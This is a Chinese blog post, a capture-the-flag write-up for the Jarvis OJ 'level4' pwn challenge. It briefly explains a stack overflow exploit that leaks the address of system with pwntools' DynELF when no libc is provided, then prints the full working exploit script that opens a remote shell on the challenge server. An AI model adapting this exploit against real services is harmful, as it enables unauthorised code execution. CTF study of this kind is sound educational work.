美文网首页
Jarvis OJ---level4

Jarvis OJ---level4

作者: yahoo0o0 | 来源:发表于2017-09-21 12:23 被阅读0次

这题与level3的区别就是level4之中并没有提供libc文件,所以不能像level3一样利用libc来泄露地址,这题考察的点是要我们借助pwntools里面的DynELF模块实现无libc的泄漏,这个利用的前提是level4中存在可以泄漏libc空间信息的漏洞,并且漏洞可以被反复的触发。所以我们可以利用write函数来泄露system的地址,通过泄露打印出system的地址,然后找出.bss段的地址,将参数binsh传入bss段之中,通过system函数来打开shell,这里有一个很坑的点,就是他的服务器的有一个5s的时间的限制,所以如果你的脚本的算法复杂度太高,那么时间一到就会返回time out的错误,所以尽量在脚本之中将能简化的都拿来简化。

from pwn import *
p = remote('pwn2.jarvisoj.com',9880)

elf = ELF('level4')
write_got = 0x0804A018
write_plt = 0x08048340
start = 0x08048350
data_addr = 0x0804a024
read_plt = elf.symbols['read']
junk = 'a'*(0x88+4)

def leak(address):
    payload = junk + p32(write_plt) + p32(start) + p32(1) + p32(address) + p32(4)
    p.sendline(payload)
    leaked = p.recv(4)
    print "[%s] -> [%s] = [%s]" % (hex(address), hex(u32(leaked)),  repr(leaked))
    return leaked

d = DynELF(leak,elf=ELF('./level4'))
system_addr = d.lookup('system', 'libc')
print "[system()] -> [%s]" % (hex(system_addr))

payload = junk + p32(read_plt) + p32(start) + p32(0)+ p32(data_addr) + p32(8)
p.send(payload)
p.send('/bin/sh\x00')

payload = junk + p32(system_addr) + p32(0xdeadbeef) + p32(data_addr)
p.sendline(payload)
p.interactive()

相关文章

  • Jarvis OJ---level4

    这题与level3的区别就是level4之中并没有提供libc文件,所以不能像level3一样利用libc来泄露地...

  • Jarvis+基于智能合约的AI对话服务平台

    Jarvis+ 基于智能合约的对话即服务平台! 乐意效劳!(At Your Service!) JARVIS+重...

  • Jarvis

    #七宗罪——贪婪# #人工智能:David# “Jarvis,你在吗?” “我在。” 我是Jarvis,一个人工智...

  • Jarvis

    虽是由数据组成的思想,有着定量的思维方式,拥有实体后仍是有些微的不适感和虚浮感,仍留存着部分数据储存在大厦的系统里...

  • Downtown Ryerson大学区Prime Condo期房

    Prime Condos 楼盘位于多伦多市中心Jarvis和Gerrard E,具体地址在319 Jarvis S...

  • 你可能过了个假节——为什么她至死都在反对自己创立的母亲节?

    母亲节的初心 安娜·贾维斯(Anna Jarvis)的母亲安·里维斯·贾维斯(Ann Reeves Jarvis)...

  • 我想要个Jarvis

    我想要个Jarvis,有了Jarvis,男票算什么!能吃么?! CP:出自钢铁侠,Tony·stark×Jarvi...

  • 机器学习如何选特征

    看到一篇好文章分享出来,看别人是如何选特征的,作者是Edwin Jarvis 作者:Edwin Jarvis 特征...

  • Need A JARVIS

    贾维斯(JARVIS)是钢铁侠(Iron Man)的人工智能管家。它既是钢铁侠身边的智囊,又是聪明负责的生活管家,...

  • 扎克伯格的Building Jarvis

    Building Jarvis MARK ZUCKERBERG·TUESDAY, DECEMBER 20, 201...

网友评论

      本文标题:Jarvis OJ---level4

      本文链接:https://www.haomeiwen.com/subject/oqjzsxtx.html